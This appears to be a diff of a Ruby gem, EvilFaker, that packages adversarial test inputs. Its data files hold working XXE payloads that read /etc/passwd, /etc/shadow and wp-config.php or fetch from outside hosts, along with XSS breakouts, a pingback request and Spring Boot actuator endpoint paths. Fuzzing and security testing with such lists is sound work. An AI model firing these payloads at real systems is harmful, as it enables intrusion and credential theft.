<?xml version='1.0' standalone='no'?><!DOCTYPE foo [<!ENTITY % f5a30 SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">%f5a30; ]>
|
|
76
|
+
‘
|
|
77
|
+
“
|
|
78
|
+
<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "../../../boot.ini" ]> <change-log> <text>&systemEntity;</text>; </change-log>
|
|
79
|
+
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE doc [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "php://filter/read-convert.base64-encode/resource=file:///C:/boot.ini" >]><doc><test>Contents of file: &xxe;</test></doc>
|
|
80
|
+
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
|
|
81
|
+
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
|
|
82
|
+
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
|
83
|
+
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi.txt" >]><foo>&xxe;</foo>
|
|
84
|
+
"}}</script><script>alert(1);</script></body></html><!--
|
|
85
|
+
}}</script>'"
|
|
86
|
+
}}</script>'
|
|
87
|
+
'}}</script>'
|
|
88
|
+
'}}</script>"
|
|
89
|
+
<?xml version="1.0" encoding="utf-16" standalone="yes"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>https://wordpress.org/</string></value></param><param><value><string>http://xerosecurity.com</string></value></param></params></methodCall>
|
|
90
|
+
<xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "../../../../../../../etc/passwd">]><methodCall><methodName>&xxe</methodName></methodCall>
|
|
91
|
+
<xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "http://xerosecurity.com/.testing/rfi_vuln.txt">]><methodCall><methodName>&xxe</methodName></methodCall>
|
|
92
|
+
<xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">]><methodCall><methodName>&xxe</methodName></methodCall>
|
|
93
|
+
<xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
|
94
|
+
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE doc [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "php://filter/read-convert.base64-encode/resource=file:///C:/htdocs/wordpress/wp-config.php" >]><doc><test>Contents of file: &xxe;</test></doc>
|
|
95
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo>
|
|
96
|
+
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt">]><foo>&xxe;</foo>
|
|
97
|
+
}}</script><script>alert(1);</script></body></html><!--
|
|
98
|
+
"}}</script>'
|
|
99
|
+
}}</script>""'"
|
|
100
|
+
<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>
|
|
101
|
+
<?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg>
|
|
102
|
+
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
auditevents
|
|
2
|
+
autoconfig
|
|
3
|
+
beans
|
|
4
|
+
caches
|
|
5
|
+
conditions
|
|
6
|
+
configprops
|
|
7
|
+
dump
|
|
8
|
+
env
|
|
9
|
+
flyway
|
|
10
|
+
health
|
|
11
|
+
heapdump
|
|
12
|
+
httptrace
|
|
13
|
+
info
|
|
14
|
+
integrationgraph
|
|
15
|
+
jolokia
|
|
16
|
+
logfile
|
|
17
|
+
loggers
|
|
18
|
+
liquibase
|
|
19
|
+
metrics
|
|
20
|
+
mappings
|
|
21
|
+
prometheus
|
|
22
|
+
scheduledtasks
|
|
23
|
+
sessions
|
|
24
|
+
shutdown
|
|
25
|
+
threaddump
|
|
26
|
+
trace
|
|
27
|
+
actuator/auditevents
|
|
28
|
+
actuator/autoconfig
|
|
29
|
+
actuator/beans
|
|
30
|
+
actuator/caches
|
|
31
|
+
actuator/conditions
|
|
32
|
+
actuator/configprops
|
|
33
|
+
actuator/dump
|
|
34
|
+
actuator/env
|
|
35
|
+
actuator/flyway
|
|
36
|
+
actuator/health
|
|
37
|
+
actuator/heapdump
|
|
38
|
+
actuator/httptrace
|
|
39
|
+
actuator/info
|
|
40
|
+
actuator/integrationgraph
|
|
41
|
+
actuator/jolokia
|
|
42
|
+
actuator/logfile
|
|
43
|
+
actuator/loggers
|
|
44
|
+
actuator/liquibase
|
|
45
|
+
actuator/metrics
|
|
46
|
+
actuator/mappings
|
|
47
|
+
actuator/prometheus
|
|
48
|
+
actuator/scheduledtasks
|
|
49
|
+
actuator/sessions
|
|
50
|
+
actuator/shutdown
|
|
51
|
+
actuator/threaddump
|
|
52
|
+
actuator/trace
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module EvilFaker
|
|
4
|
+
# Generated by scripts/generate_namespaces.rb -- do not edit by hand.
|
|
5
|
+
class Injection < Base
|
|
6
|
+
group "injection"
|
|
7
|
+
|
|
8
|
+
subtype :command
|
|
9
|
+
subtype :directory_traversal
|
|
10
|
+
subtype :file_inclusion
|
|
11
|
+
subtype :file_upload_bypass
|
|
12
|
+
subtype :format_strings
|
|
13
|
+
subtype :generic
|
|
14
|
+
subtype :integer_overflow
|
|
15
|
+
subtype :interpolation
|
|
16
|
+
subtype :jinja2
|
|
17
|
+
subtype :json
|
|
18
|
+
subtype :ldap
|
|
19
|
+
subtype :magic_hashes
|
|
20
|
+
subtype :nosql
|
|
21
|
+
subtype :open_redirect
|
|
22
|
+
subtype :overflow
|
|
23
|
+
subtype :rfi
|
|
24
|
+
subtype :script
|
|
25
|
+
subtype :server_code
|
|
26
|
+
subtype :server_side_include
|
|
27
|
+
subtype :source_disclosure
|
|
28
|
+
subtype :sql
|
|
29
|
+
subtype :ssrf
|
|
30
|
+
subtype :ssti
|
|
31
|
+
subtype :type_confusion
|
|
32
|
+
subtype :xpath
|
|
33
|
+
subtype :xxe
|
|
34
|
+
end
|
|
35
|
+
end
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module EvilFaker
|
|
4
|
+
# Generated by scripts/generate_namespaces.rb -- do not edit by hand.
|
|
5
|
+
class Routes < Base
|
|
6
|
+
group "routes"
|
|
7
|
+
|
|
8
|
+
subtype :admin_interfaces
|
|
9
|
+
subtype :debug_params
|
|
10
|
+
subtype :directory_indexing
|
|
11
|
+
subtype :local_paths
|
|
12
|
+
end
|
|
13
|
+
end
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module EvilFaker
|
|
4
|
+
# Generated by scripts/generate_namespaces.rb -- do not edit by hand.
|
|
5
|
+
class Unicode < Base
|
|
6
|
+
group "unicode"
|
|
7
|
+
|
|
8
|
+
subtype :accents
|
|
9
|
+
subtype :bad_chars
|
|
10
|
+
subtype :bom
|
|
11
|
+
subtype :controls
|
|
12
|
+
subtype :font
|
|
13
|
+
subtype :lowercase
|
|
14
|
+
subtype :quotes
|
|
15
|
+
subtype :scripts
|
|
16
|
+
subtype :special
|
|
17
|
+
subtype :symbols
|
|
18
|
+
subtype :trick
|
|
19
|
+
subtype :two_byte
|
|
20
|
+
subtype :upsidedown
|
|
21
|
+
subtype :whitespace
|
|
22
|
+
end
|
|
23
|
+
end
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module EvilFaker
|
|
4
|
+
# Base class for per-source namespaces (e.g. Blns): exposes the entire
|
|
5
|
+
# corpus of one source, flattened across all its namespace/subtype files.
|
|
6
|
+
# Complements the category namespaces (Injection, Unicode, ...), which
|
|
7
|
+
# cut across sources -- this cuts across categories instead.
|
|
8
|
+
class SourceBase
|
|
9
|
+
DATA_DIR = File.expand_path("data/groups", __dir__)
|
|
10
|
+
|
|
11
|
+
class << self
|
|
12
|
+
# Declares this namespace's source, read from groups/<name>/**/*.txt.
|
|
13
|
+
def source(name)
|
|
14
|
+
@source = name
|
|
15
|
+
end
|
|
16
|
+
|
|
17
|
+
def all
|
|
18
|
+
@all ||= Dir.glob(File.join(DATA_DIR, @source.to_s, "**", "*.txt")).sort.flat_map do |path|
|
|
19
|
+
File.readlines(path, chomp: true)
|
|
20
|
+
end
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
def sample(count = nil)
|
|
24
|
+
return all.sample(count) if count
|
|
25
|
+
|
|
26
|
+
all.sample
|
|
27
|
+
end
|
|
28
|
+
end
|
|
29
|
+
end
|
|
30
|
+
end
|
data/lib/evil_faker.rb
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require_relative "evil_faker/version"
|
|
4
|
+
|
|
5
|
+
# EvilFaker: adversarial input for Ruby.
|
|
6
|
+
module EvilFaker
|
|
7
|
+
class Error < StandardError; end
|
|
8
|
+
end
|
|
9
|
+
|
|
10
|
+
require_relative "evil_faker/base"
|
|
11
|
+
require_relative "evil_faker/source_base"
|
|
12
|
+
Dir[File.join(__dir__, "evil_faker/groups/*.rb")].sort.each { |f| require_relative f }
|
|
13
|
+
Dir[File.join(__dir__, "evil_faker/sources/*.rb")].sort.each { |f| require_relative f }
|